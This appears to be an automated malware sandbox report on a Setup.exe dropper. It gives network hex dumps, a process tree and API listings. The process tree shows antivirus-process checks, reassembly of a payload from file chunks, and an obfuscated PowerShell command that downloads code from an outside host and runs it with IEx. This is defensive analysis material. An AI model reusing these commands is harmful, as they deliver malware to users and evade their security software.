2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 40 00 00 00 00 00 02 08 56 56 61 72 69 61 6e 74 02 00 00 11 40 00 00 00 00 00 02 0a 56 49 6e 74 65 72 66 61 63 65 02 00 00 11 40 00 00 00 00 00 02 0b 56 57 69 64 65 53 74 72 69 6e 67 02 00 b4 2a 40 00 00 00 00 00 02 06 56 49 6e 74 36 34 02 00 00 11 40 00 00 00 00 00 02 0e 56 55 6e 69 63 6f 64 65 53 74 72 69 6e 67 02 00 54 11 40 00 00 00 00 00 02 0a 5f 52 65 73 65 72 76 65 64 31 02 00 b4 10 40 00 04 00 00 00 02 05 56 54 79 70 65 02 00 02 00 00 00 00 00 00 0c 32 40 00 0e 0b 54 50 74 72 57 72 61 70 70 65 72 04 00 00 00 00 00 00 00 00 01 00 00 00 a0 2a 40 00 00 00 00 00 00 05 56 61 6c 75 65 02 00 02 00 06 00 0a 28 9c 4a 00 06 43 72 65 61 74 65 00 00 00 00 00 00 01 00 54 11 40 00 06 41 56 61 6c 75 65 02 00 02 00 0a c0 f5 40 00 06 43 72 65 61 74 65 00 00 00 00 Data Ascii: @VVariant@VInterface@VWideString@VInt64@VUnicodeStringT@_Reserved1@VType2@TPtrWrapper@Value(JCreateT@AValue@Create
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 28 9c 4a 00 0a 52 65 61 6c 6c 6f 63 4d 65 6d 03 00 08 32 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 06 4f 6c 64 50 74 72 02 00 00 54 11 40 00 02 00 07 4e 65 77 53 69 7a 65 02 00 02 00 34 00 28 9c 4a 00 07 46 72 65 65 4d 65 6d 03 00 00 00 00 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 03 50 74 72 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 cc 4b 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 Data Ascii: (JReallocMem2@Self2@OldPtrT@NewSize4(JFreeMemSelf2@Ptrb(JCopySelfK@Src@StartIndex2@Dest@Countb(JCopySelf
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 28 4d 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 60 4d 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 Data Ascii: 2@Dest@Countb(JCopySelf2@Src(M@Dest@StartIndex@Countb(JCopySelf`M@Src@StartIndex2@Dest@Countb(JCopyS

Target ID:	0
Start time:	11:54:59
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x400000
File size:	73'410'061 bytes
MD5 hash:	D07B60405395929FA6CC003B858C2F37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:55:01
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Unlock Unlock.cmd & Unlock.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:55:01
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:55:02
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x40000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:55:02
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xa70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:55:02
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x40000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:55:02
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xa70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:55:03
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 96053
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:55:03
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Gap
Imagebase:	0x7e0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:55:03
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Reprint" Shower
Imagebase:	0xa70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:55:03
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 96053\Edgar.com + Lightweight + Surely + Prohibited + Pensions + Vid + Bm + Diagram + Value + Temperature + Skill + Pics 96053\Edgar.com
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:55:03
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Firewall + ..\Rape + ..\Introduced + ..\Infrastructure + ..\Transcript + ..\Lower + ..\Lease R
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:55:04
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com
Wow64 process (32bit):	true
Commandline:	Edgar.com R
Imagebase:	0xf60000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:55:04
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x180000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:55:37
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Imagebase:	0x330000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:55:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:55:45
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe"
Imagebase:	0x2e0000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:55:46
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$50456,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe"
Imagebase:	0xd90000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:55:48
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT
Imagebase:	0x2e0000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:55:49
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$B0354,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT
Imagebase:	0xb60000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:56:21
Start date:	05/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff706750000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:56:21
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff72d3f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff7ec110000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff73fad0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff72d3f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff7ec110000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff73fad0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff72d3f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff7ec110000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:56:30
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff73fad0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff72d3f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff7ec110000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff73fad0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff72d3f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff7ec110000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff73fad0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff72d3f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff7ec110000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:56:31
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff73fad0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:56:35
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Imagebase:	0x400000
File size:	846'325'235 bytes
MD5 hash:	6A8860A8150021B2D5B9BB707DE4FA37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1525
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
